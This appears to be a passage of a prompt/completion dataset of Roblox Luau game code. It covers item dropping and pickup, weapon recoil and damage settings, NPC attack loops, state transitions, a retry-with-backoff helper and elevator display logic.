Instance.new(\"IntValue\")\n\t\t\tstackValue.Name\t\t= \"Stack\"\n\t\t\tstackValue.Value\t= (amount ~= nil and amount or base.Stack.Value)\n\t\t\tstackValue.Parent\t= drop\n\t\t\n\t\tdrop.Parent\t= DROPS\nend\n\nlocal function DropThrowable(item, position, base)\n\tif not base then\n\t\tbase\t= ITEMS:FindFirstChild(item)\n\tend\n\t\n\tlocal drop\t= DROP:Clone()\n\t\tdrop.Name\t= item\n\t\tdrop.CFrame\t= CFrame.new(position)\n\t\t\n\t\tlocal itemValue\t\t= Instance.new(\"StringValue\")\n\t\t\titemValue.Name\t\t= \"Throwable\"\n\t\t\titemValue.Value\t\t= item\n\t\t\titemValue.Parent\t= drop\n\t\t\n\t\tif base:FindFirstChild(\"Stack\") then\n\t\t\tbase.Stack:Clone().Parent\t= drop\n\t\telse\n\t\t\tlocal stackValue\t= Instance.new(\"IntValue\")\n\t\t\t\tstackValue.Name\t\t= \"Stack\"\n\t\t\t\tstackValue.Value\t= 1\n\t\t\t\tstackValue.Parent\t= drop\n\t\tend\n\t\t\n\t\tdrop.Parent\t= DROPS\nend\n\nlocal function Drop(item, position, ...)\n\tlocal ignore\t= {Workspace.Effects, Workspace.Drops, Workspace.ItemSpawns}\n\t\n\tfor _, player in pairs(Players:GetPlayers()) do\n\t\tif player.Character then\n\t\t\ttable.insert(ignore, player.Character)\n\t\tend\n\tend\n\t\n\tlocal ray\t\t= Ray.new(position + Vector3.new(0, 5, 0), Vector3.new(0, -10, 0))\n\tlocal _, pos\t= Workspace:FindPartOnRayWithIgnoreList(ray, ignore)\n\t\n\tposition\t= pos + Vector3.new(0, 2, 0)\n\t\n\tlocal base\t\t= ITEMS[item]\n\tlocal config\t= require(base.Config)\n\t\n\tif config.Type == \"Ammo\" then\n\t\tDropAmmo(item, position, ...)\n\telseif config.Type == \"Booster\" then\n\t\tDropBooster(item, position, ...)\n\telseif config.Type == \"Throwable\" then\n\t\tDropThrowable(item, position, ...)\n\telseif config.Type == \"Armor\" then\n\t\tDropArmor(item, position, ...)\n\telseif config.Type == \"Attachment\" then\n\t\tDropAttachment(item, position, ...)\n\telse\n\t\tDropItem(item, position, ...)\n\tend\nend\n\nlocal function AddAttachment(item, attach)\n\tlocal attachments\t= item:FindFirstChild(\"Attachments\")\n\tlocal config\t\t= require(ITEMS[attach].Config)\n\t\t\t\t\t\t\n\tif attachments and not attachments:FindFirstChild(attach) then\n\t\tif item.PrimaryPart:FindFirstChild(config.Attach .. \"Attach\") then\n\t\t\tlocal attachment\t= ITEMS[attach]:Clone()\n\t\t\t\n\t\t\tfor _, a in pairs(attachments:GetChildren()) do\n\t\t\t\tlocal c\t= require(a.Config)\n\t\t\t\tif c.Attach == config.Attach then\n\t\t\t\t\tDropAttachment(a.Name, item.Parent.Parent.HumanoidRootPart.CFrame:pointToWorldSpace(Vector3.new(0, 0, -3)))\n\t\t\t\t\ta:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tlocal weld\t= Instance.new(\"Weld\")\n\t\t\t\tweld.Part0\t= item.PrimaryPart\n\t\t\t\tweld.Part1\t= attachment.PrimaryPart\n\t\t\t\tweld.C0\t\t= item.PrimaryPart[config.Attach .. \"Attach\"].CFrame\n\t\t\t\tweld.C1\t\t= attachment.PrimaryPart.Attach.CFrame\n\t\t\t\tweld.Parent\t= attachment.PrimaryPart\n\t\t\t\t\n\t\t\tattachment.Parent\t= attachments\n\t\t\t\t\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nlocal function SwapAttachment(player, attachment, item)\n\tif attachment and item then\n\t\tlocal character\t= player.Character\n\t\tif character then\n\t\t\tlocal items\t\t= character.Items\n\t\t\tif attachment:IsDescendantOf(items) and item.Parent == items then\n\t\t\t\tlocal config\t= require(attachment.Config)\n\t\t\t\tif config.Type == \"Attachment\" and item:FindFirstChild(\"Attachments\") then\n\t\t\t\t\tlocal from, to\t= attachment.Parent.Parent, item\n\t\t\t\t\tlocal send, receive\n\t\t\t\t\t\n\t\t\t\t\tif to.PrimaryPart:FindFirstChild(config.Attach .. \"Attach\") and not to.Attachments:FindFirstChild(attachment.Name) then\n\t\t\t\t\t\tfor _, other in pairs(to.Attachments:GetChildren()) do\n\t\t\t\t\t\t\tlocal oConfig\t= require(other.Config)\n\t\t\t\t\t\t\tif oConfig.Attach == config.Attach then\n\t\t\t\t\t\t\t\treceive\t= other.Name\n\t\t\t\t\t\t\t\tother:Destroy()\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tsend\t= attachment.Name\n\t\t\t\t\t\tattachment:Destroy()\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif send then\n\t\t\t\t\t\tAddAttachment(to, send)\n\t\t\t\t\tend\n\t\t\t\t\tif receive then\n\t\t\t\t\t\tAddAttachment(from, receive)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function Pickup(player, drop)\n\tlocal character\t= player.Character\n\tif character then\n\t\tlocal humanoid\t= character.Humanoid\n\t\tlocal rootPart\t= character.HumanoidRootPart\n\t\tlocal items\t\t= character.Items\n\t\tlocal equipped\t= character.Equipped\n\t\t\n\t\tif humanoid.Health > 0 and (not humanoid.Down.Value) then\n\t\t\tif drop and drop.Parent == DROPS then\n\t\t\t\tlocal distance\t= (rootPart.Position - drop.Position).Magnitude\n\t\t\t\tif distance < PICKUP_DISTANCE then\n\t\t\t\t\tif drop:FindFirstChild(\"Item\") then\n\t\t\t\t\t\tlocal safe\t= true\n\t\t\t\t\t\tif #items:GetChildren() >= MAX_BACKPACK then\n\t\t\t\t\t\t\tlocal current\t= equipped.Value\n\t\t\t\t\t\t\tlocal config\t= require(current.Config)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif config.Permanent then\n\t\t\t\t\t\t\t\tsafe\t= false\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tif current:FindFirstChild(\"Attachments\") and drop:FindFirstChild(\"Attachments\") then\n\t\t\t\t\t\t\t\t\tlocal pickupBase\t= ITEMS[drop.Name]\n\t\t\t\t\t\t\t\t\tfor _, a in pairs(current.Attachments:GetChildren()) do\n\t\t\t\t\t\t\t\t\t\tlocal aConfig\t= require(a.Config)\n\t\t\t\t\t\t\t\t\t\tlocal aSafe\t\t= true\n\t\t\t\t\t\t\t\t\t\tfor _, oa in pairs(drop.Attachments:GetChildren()) do\n\t\t\t\t\t\t\t\t\t\t\tlocal oaConfig\t= require(ITEMS[oa.Name].Config)\n\t\t\t\t\t\t\t\t\t\t\tif oaConfig.Attach == aConfig.Attach then\n\t\t\t\t\t\t\t\t\t\t\t\taSafe\t= false\n\t\t\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\tif not pickupBase.PrimaryPart:FindFirstChild(aConfig.Attach .. \"Attach\") then\n\t\t\t\t\t\t\t\t\t\t\taSafe\t= false\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\tif aSafe then\n\t\t\t\t\t\t\t\t\t\t\tlocal val\t= Instance.new(\"StringValue\")\n\t\t\t\t\t\t\t\t\t\t\t\tval.Name\t= a.Name\n\t\t\t\t\t\t\t\t\t\t\t\tval.Value\t= a.Name\n\t\t\t\t\t\t\t\t\t\t\t\tval.Parent\t= drop.Attachments\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\ta:Destroy()\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tDrop(current.Name, rootPart.CFrame:pointToWorldSpace(DROP_OFFSET), current)\n\t\t\t\t\t\t\t\tcurrent:Destroy()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif safe then\n\t\t\t\t\t\t\tlocal item\t= ITEMS[drop.Item.Value]:Clone()\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif item:FindFirstChild(\"Ammo\") and drop:FindFirstChild(\"Ammo\") then\n\t\t\t\t\t\t\t\titem.Ammo.Value\t= drop.Ammo.Value\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif item:FindFirstChild(\"Loaded\") and drop:FindFirstChild(\"Loaded\") then\n\t\t\t\t\t\t\t\titem.Loaded.Value\t= drop.Loaded.Value\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif item:FindFirstChild(\"Attachments\") and drop:FindFirstChild(\"Attachments\") then\n\t\t\t\t\t\t\t\tfor _, attach in pairs(drop.Attachments:GetChildren()) do\n\t\t\t\t\t\t\t\t\tAddAttachment(item, attach.Name)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\titem.Parent\t= items\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tdrop:Destroy()\n\t\t\t\t\t\tend\n\t\t\t\t\telseif drop:FindFirstChild(\"Armor\") then\n\t\t\t\t\t\tlocal item\t\t= ITEMS[drop.Armor.Value]\n\t\t\t\t\t\tlocal config\t= require(item.Config)\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal success\t= ServerScriptService.ArmorScript.AddArmor:Invoke(character, config.Slots)\n\t\t\t\t\t\t\n\t\t\t\t\t\tif success then\n\t\t\t\t\t\t\tdrop:Destroy()\n\t\t\t\t\t\tend\n\t\t\t\t\telseif drop:FindFirstChild(\"Attachment\") then\n\t\t\t\t\t\tlocal item\t= equipped.Value\n\t\t\t\t\t\tif item then\n\t\t\t\t\t\t\tlocal success\t= AddAttachment(item, drop.Attachment.Value)\n\t\t\t\t\t\t\tif success then\n\t\t\t\t\t\t\t\tdrop:Destroy()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\telseif drop:FindFirstChild(\"Ammo\") then\n\t\t\t\t\t\tlocal item\t\t= ITEMS[drop.Ammo.Value]\n\t\t\t\t\t\tlocal config\t= require(item.Config)\n\t\t\t\t\t\t\n\t\t\t\t\t\tcharacter.Ammo[config.Size].Value\t= character.Ammo[config.Size].Value + drop.Stack.Value\n\t\t\t\t\t\t\n\t\t\t\t\t\tdrop:Destroy()\n\t\t\t\t\telseif drop:FindFirstChild(\"Booster\") then\n\t\t\t\t\t\tlocal item\t\t= ITEMS[drop.Booster.Value]\n\t\t\t\t\t\tlocal config\t= require(item.Config)\n\t\t\t\t\t\t\n\t\t\t\t\t\tif config.Boost == \"Health\" then\n\t\t\t\t\t\t\tlocal healthPacks\t= character.HealthPacks\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif healthPacks.Value + drop.Stack.Value > MAX_HEALTH_PACKS then\n\t\t\t\t\t\t\t\tlocal dif\t= MAX_HEALTH_PACKS - healthPacks.Value\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\thealthPacks.Value\t= healthPacks.Value + dif\n\t\t\t\t\t\t\t\tdrop.Stack.Value\t= drop.Stack.Value - dif\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\thealthPacks.Value\t= healthPacks.Value + drop.Stack.Value\n\t\t\t\t\t\t\t\tdrop:Destroy()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\telseif drop:FindFirstChild(\"Throwable\") then\n\t\t\t\t\t\tlocal item\t\t= ITEMS[drop.Throwable.Value]\n\t\t\t\t\t\tlocal config\t= require(item.Config)\n\t\t\t\t\t\t\n\t\t\t\t\t\tfor _, otherItem in pairs(items:GetChildren()) do\n\t\t\t\t\t\t\tif otherItem.Name == item.Name then\n\t\t\t\t\t\t\t\tif otherItem.Stack.Value < config.Stack then\n\t\t\t\t\t\t\t\t\tlocal dif\t= config.Stack - otherItem.Stack.Value\n\t\t\t\t\t\t\t\t\tif drop.Stack.Value >= dif then\n\t\t\t\t\t\t\t\t\t\tdrop.Stack.Value\t\t= drop.Stack.Value - dif\n\t\t\t\t\t\t\t\t\t\totherItem.Stack.Value\t= otherItem.Stack.Value + dif\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\totherItem.Stack.Value\t= otherItem.Stack.Value + drop.Stack.Value\n\t\t\t\t\t\t\t\t\t\tdrop.Stack.Value\t\t= 0\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tif drop.Stack.Value == 0 then\n\t\t\t\t\t\t\t\t\tdrop:Destroy()\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tif drop and drop.Parent then\n\t\t\t\t\t\t\tlocal safe\t= true\n\t\t\t\t\t\t\tif #items:GetChildren() >= MAX_BACKPACK then\n\t\t\t\t\t\t\t\tlocal current\t= equipped.Value\n\t\t\t\t\t\t\t\tlocal config\t= require(current.Config)\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif current.Name == drop.Name then\n\t\t\t\t\t\t\t\t\tsafe\t= false\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tDrop(current.Name, rootPart.CFrame:pointToWorldSpace(DROP_OFFSET), current)\n\t\t\t\t\t\t\t\t\tcurrent:Destroy()\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif safe then\n\t\t\t\t\t\t\t\tlocal item\t= ITEMS[drop.Name]:Clone()\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif item:FindFirstChild(\"Stack\") and drop:FindFirstChild(\"Stack\") then\n\t\t\t\t\t\t\t\t\titem.Stack.Value\t= drop.Stack.Value\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\titem.Parent\t= items\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tdrop:Destroy()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function DropEverything(character)\n\tlocal rootPart\t\t= character.HumanoidRootPart\n\tlocal humanoid\t\t= character.Humanoid\n\tlocal items\t\t\t= character.Items\n\tlocal ammo\t\t\t= character.Ammo\n\tlocal healthPacks\t= character.HealthPacks\n\t\n\tfor _, item in pairs(items:GetChildren()) do\n\t\tDrop(item.Name, rootPart.Position + Vector3.new(math.random(-40, 40) / 10, 0, math.random(-40, 40) / 10), item)\n\tend\n\tfor _, ammo in pairs(ammo:GetChildren()) do\n\t\tif ammo.Value > 0 then\n\t\t\tDrop(ammo.Name .. \" Ammo\", rootPart.Position + Vector3.new(math.random(-40, 40) / 10, 0, math.random(-40, 40) / 10), ammo.Value)\n\t\tend\n\tend\n\tif healthPacks.Value > 0 then\n\t\tDrop(\"Health Pack\", rootPart.Position + Vector3.new(math.random(-40, 40) / 10, 0, math.random(-40, 40) / 10), healthPacks.Value)\n\tend\n\tDropArmor(\"Armor\", rootPart.Position + Vector3.new(math.random(-40, 40) / 10, 0, math.random(-40, 40) / 10))\n\tif character:IsDescendantOf(Workspace) then\n\t\titems:ClearAllChildren()\n\tend\nend\n"} +{"prompt": "--[=[\n\t@function Multiply\n\t@within Blend\n\n\t@param background Color3 -- The background colour.\n\t@param foreground Color3 -- The foreground colour.\n\t@return Color3 -- The resulting colour.\n]=]", "completion": "\nreturn PrepFilter(\"Multiply\", function(background: number, foreground: number): number\n\treturn ((foreground * 255) * (background * 255)) / 255\nend)\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {8,12}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {8,12}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .7\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .15\n\t,VPunchBase = 2.5\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 1.7\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 5 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.2\n\t,MinRecoilPower = .5\n\t,MaxRecoilPower = 3.5\n\t,RecoilPowerStepAmount = .25\n\t\n\t,MinSpread = 0.56\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 35\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 0.5\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.25\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1.5\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "--If you want to learn how to script this piston, look at the ToggleScript.", "completion": "\n"} +{"prompt": "--[[\n\tStart\n]]", "completion": "\n\nif PATROL_ENABLED then\n\tcoroutine.wrap(function()\n\t\tpatrol()\n\tend)()\nend\n\ncoroutine.wrap(function()\n\twhile isAlive() do\n\t\tif target and not attacking and isInstaceAttackable(target) then\n\t\t\tattack()\n\t\tend\n\n\t\twait(1)\n\tend\nend)()\n"} +{"prompt": "--!strict", "completion": "\nlocal events = require(script.Parent.events)\nlocal constants = require(script.Parent.constants)\n\nlocal useVerboseLogging = false\n\nlocal function log(messageType: string, message: string)\n\tif useVerboseLogging then\n\t\tprint((\"[%s] %s\"):format(messageType, message))\n\tend\nend\n"} +{"prompt": "-- TextLabel default properties", "completion": "\ndefaults.Font = \"SourceSans\"\ndefaults.TextColor3 = \"White\"\ndefaults.TextStrokeColor3 = \"Black\"\ndefaults.TextTransparency = 0\ndefaults.TextStrokeTransparency = 1\ndefaults.BackgroundTransparency = 1\ndefaults.BorderSizePixel = 0\n"} +{"prompt": "--//INSPARE//--", "completion": "\nlocal player = game.Players.LocalPlayer\nlocal lightOn = false"} +{"prompt": "-- declarations", "completion": "\nlocal Figure = script.Parent\nlocal Head = Figure:WaitForChild(\"Head\")\nlocal Humanoid = Figure:WaitForChild(\"Humanoid\")\nlocal regening = false\nchar = game.Players[Figure.Name].Character\n\n"} +{"prompt": "--[[\n\tFired when state is left\n]]", "completion": "\nfunction Transitions.onLeavePreGame(stateMachine, event, from, to, playerComponent)\n\tPlayerPreGame.leave(stateMachine, playerComponent)\nend\n"} +{"prompt": "--[[\n\tFired when PostGame is entered, transitioning the server state\n]]", "completion": "\nfunction Transitions.onEnterPostGame(stateMachine, event, from, to)\n\tLogger.trace(\"Server state change: \", from, \" -> \", to)\n\tServerPostGame.enter(stateMachine)\nend\n"} +{"prompt": "--[[\n Try running a function which returns a promise and retry if the function throws\n and error or the promise rejects. The retry behaviour can be adapted using\n backoffOptions, which can customize the maximum number of retries and the backoff\n timing of the form [0, x^attemptNumber] + y where x is an exponent that produces\n a random exponential delay and y is a constant delay.\n\n maxTries - how many tries (including the first one) the function should be called\n retryExponentInSeconds - customize the backoff exponent\n\tretryConstantInSeconds - customize the backoff constant\n randomStream - use a Roblox \"Random\" instance to control the backoff\n\tshouldRetry(response) - called if maxTries > 1 to determine whether a retry should occur\n onRetry(waitTime, errorMessage) - a hook for when a retry is triggered, with the delay before retry and error message which caused the failure\n onDone(response, durationMs) - a hook for when the promise resolves\n onFail(errorMessage) - a hook for when the promise has failed and no more retries are allowed\n]]", "completion": "\nfunction AsyncUtils.retryWithBackoff(getPromise, backoffOptions)\n\tassert(type(getPromise) == \"function\")\n\tlocal function backoffThenRetry(errorMessage)\n\t\tlocal waitTime =\n\t\t\t(backoffOptions.retryExponentInSeconds ^ backoffOptions.attemptNumber) * backoffOptions.randomStream:NextNumber() +\n\t\t\tbackoffOptions.retryConstantInSeconds\n\t\tbackoffOptions.onRetry(waitTime, errorMessage)\n\t\treturn AsyncUtils.delay(waitTime):andThen(\n\t\t\tfunction()\n\t\t\t\treturn AsyncUtils.retryWithBackoff(\n\t\t\t\t\tgetPromise,\n\t\t\t\t\tTableUtils.assign(\n\t\t\t\t\t\t{},\n\t\t\t\t\t\tbackoffOptions,\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tmaxTries = backoffOptions.maxTries - 1,\n\t\t\t\t\t\t\tattemptNumber = backoffOptions.attemptNumber + 1\n\t\t\t\t\t\t}\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\tend\n\t\t)\n\tend\n\n\tlocal function getDurationMs()\n\t\treturn math.floor((tick() - backoffOptions.startTime) * 1000)\n\tend\n\n\tbackoffOptions =\n\t\tTableUtils.assign(\n\t\t{\n\t\t\tstartTime = tick(),\n\t\t\tmaxTries = 5,\n\t\t\tattemptNumber = 0,\n\t\t\tretryExponentInSeconds = 5,\n\t\t\tretryConstantInSeconds = 2,\n\t\t\trandomStream = baseRandomStream,\n\t\t\tonRetry = function()\n\t\t\tend,\n\t\t\tonDone = function()\n\t\t\tend,\n\t\t\tonFail = function()\n\t\t\tend,\n\t\t\tshouldRetry = function()\n\t\t\t\treturn true\n\t\t\tend\n\t\t},\n\t\tbackoffOptions\n\t)\n\tassert(backoffOptions.maxTries > 0, \"You must try a function at least once\")\n\n\tlocal function shouldRetry(response)\n\t\treturn backoffOptions.maxTries > 1 and backoffOptions.shouldRetry(response)\n\tend\n\n\tlocal function retryIfShouldElseCallOnFailAndReturn(response, failHandler)\n\t\tif shouldRetry(response) then\n\t\t\treturn backoffThenRetry(response)\n\t\telse\n\t\t\tbackoffOptions.onFail(response)\n\t\t\treturn failHandler(response)\n\t\tend\n\tend\n\n\tlocal function callOnDoneAndReturnPromise(response)\n\t\tbackoffOptions.onDone(response, getDurationMs())\n\t\treturn Promise.is(response) and response or Promise.resolve(response)\n\tend\n\n\tlocal ok, response =\n\t\tpcall(\n\t\tfunction()\n\t\t\treturn getPromise()\n\t\tend\n\t)\n\n\tif ok then\n\t\tif Promise.is(response) then\n\t\t\treturn response:catch(\n\t\t\t\tfunction(response)\n\t\t\t\t\treturn retryIfShouldElseCallOnFailAndReturn(response, error)\n\t\t\t\tend\n\t\t\t):andThen(callOnDoneAndReturnPromise)\n\t\telse\n\t\t\treturn callOnDoneAndReturnPromise(response)\n\t\tend\n\telse\n\t\treturn retryIfShouldElseCallOnFailAndReturn(response, Promise.reject)\n\tend\nend\n\nreturn AsyncUtils\n"} +{"prompt": "-- StreamableUtil\n-- Stephen Leitnick\n-- March 03, 2021", "completion": "\n"} +{"prompt": "--// Damage Settings\t", "completion": "\n\tBaseDamage = 34; -- Torso Damage\n\tLimbDamage = 25; -- Arms and Legs\n\tArmorDamage = 25; -- How much damage is dealt against armor (Name the armor \"Armor\")\n\tHeadDamage = 47; -- If you set this to 100, there's a chance the player won't die because of the heal script\t\n\t"} +{"prompt": "-- Takes an instance and overlays it on top of a parent. This is used for\n-- overlaying a DevModule's DataModel-based layout on top of existing services.", "completion": "\nlocal function overlay(instance: Instance, parent: Instance)\n\tfor _, child in ipairs(instance:GetChildren()) do\n\t\tlocal existingChild = parent:FindFirstChild(child.Name)\n\n\t\tif existingChild and child.ClassName == \"Folder\" then\n\t\t\toverlay(child, existingChild)\n\t\telse\n\t\t\tmove(child, parent)\n\t\tend\n\tend\nend\n"} +{"prompt": "-- 100 == 1 0 == 0 1/0.5", "completion": "\n\nfunction JamCalculation()\n\tlocal L_182_\n\tif (math.random(1, 100) <= L_24_.JamChance) then\t\n\t\tL_182_ = true\n\t\tL_75_ = true\n\telse\n\t\tL_182_ = false\n\tend\n\treturn L_182_\nend\n\nfunction TracerCalculation()\n\tlocal L_183_\n\tif (math.random(1, 100) <= L_24_.TracerChance) then\t\n\t\tL_183_ = true\n\telse\n\t\tL_183_ = false\n\tend\n\treturn L_183_\nend\n\nfunction ScreamCalculation()\n\tlocal L_184_\n\tif (math.random(1, 100) <= L_24_.SuppressCalloutChance) then\t\n\t\tL_184_ = true\n\telse\n\t\tL_184_ = false\n\tend\n\treturn L_184_\nend\n\nfunction SearchResupply(L_185_arg1)\n\tlocal L_186_ = false\n\tlocal L_187_ = nil\n\t\n\tif L_185_arg1:FindFirstChild('ResupplyVal') or L_185_arg1.Parent:FindFirstChild('ResupplyVal') then\n\t\tL_186_ = true\n\t\tif L_185_arg1:FindFirstChild('ResupplyVal') then\n\t\t\tL_187_ = L_185_arg1.ResupplyVal\n\t\telseif L_185_arg1.Parent:FindFirstChild('ResupplyVal') then\n\t\t\tL_187_ = L_185_arg1.Parent.ResupplyVal\n\t\tend\n\tend\n\treturn L_186_, L_187_\nend\n\nfunction CheckReverb()\n\tlocal L_188_, L_189_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_6_.CFrame.p, (L_6_.CFrame.upVector).unit * 30), IgnoreList);\n\t\t\n\tif L_188_ then\n\t\tlocal L_190_ = L_59_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') or Instance.new(\"ReverbSoundEffect\", L_59_:WaitForChild('Fire'))\n\telseif not L_188_ then\n\t\tif L_59_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') then\n\t\t\tL_59_.Fire.ReverbSoundEffect:Destroy()\n\t\tend\n\tend\nend\n\nfunction UpdateAmmo()\n\tL_29_.Text = L_103_\n\tL_30_.Text = L_29_.Text\n\t\n\tL_31_.Text = '| ' .. math.ceil(L_104_ / L_24_.StoredAmmo)\n\tL_32_.Text = L_31_.Text\n\t\n\tif L_93_ == 0 then\n\t\tL_40_.Image = 'rbxassetid://' .. 1868007495\n\telseif L_93_ == 1 then\n\t\tL_40_.Image = 'rbxassetid://' .. 1868007947\n\telseif L_93_ == 2 then\n\t\tL_40_.Image = 'rbxassetid://' .. 1868008584\n\tend\n\t\n\tif L_92_ == 1 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0.7\n\t\tL_37_.BackgroundTransparency = 0.7\n\t\tL_38_.BackgroundTransparency = 0.7\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_92_ == 2 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0\n\t\tL_39_.BackgroundTransparency = 0\n\telseif L_92_ == 3 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0.7\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_92_ == 4 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_92_ == 5 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0.7\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0.7\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_92_ == 6 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0.7\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0\n\t\tL_39_.BackgroundTransparency = 0.7\n\tend\n\t\nend\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nElevator:WaitForChild(\"Direction\").Changed:connect(function(val)\n if val == 1 then\n\t\tThis.Display.ARW1.UP.Transparency = 0\n\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\tThis.Display.ARW1.DOWN.Transparency = 1\n elseif val == -1 then\n\t\tThis.Display.ARW1.UP.Transparency = 1\n\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\tThis.Display.ARW1.DOWN.Transparency = 0\n\telse\n\t\tThis.Display.ARW1.UP.Transparency = 1\n\t\tThis.Display.ARW1.MID.Transparency = 1\n\t\tThis.Display.ARW1.DOWN.Transparency = 1\n end\nend)\n"} +{"prompt": "-- Constants", "completion": "\nlocal DEBUG = false\t\t\t\t\t\t\t\t-- Whether or not to use debugging features of FastCast, such as cast visualization.\nlocal BULLET_SPEED = 100\t\t\t\t\t\t\t-- Studs/second - the speed of the bullet\nlocal BULLET_MAXDIST = 1000\t\t\t\t\t\t\t-- The furthest distance the bullet can travel \nlocal BULLET_GRAVITY = Vector3.new(0, -workspace.Gravity, 0)\t\t-- The amount of gravity applied to the bullet in world space (so yes, you can have sideways gravity)\nlocal MIN_BULLET_SPREAD_ANGLE = 1\t\t\t\t\t-- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The least accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. Generally you want to keep this at 0 so there's at least some chance of a 100% accurate shot.\nlocal MAX_BULLET_SPREAD_ANGLE = 4\t\t\t\t\t-- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The most accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. This cannot be less than the value above. A value of 90 will allow the gun to shoot sideways at most, and a value of 180 will allow the gun to shoot backwards at most. Exceeding 180 will not add any more angular varience.\nlocal FIRE_DELAY = 0\t\t\t\t\t\t\t\t-- The amount of time that must pass after firing the gun before we can fire again.\nlocal BULLETS_PER_SHOT = 1\t\t\t\t\t\t\t-- The amount of bullets to fire every shot. Make this greater than 1 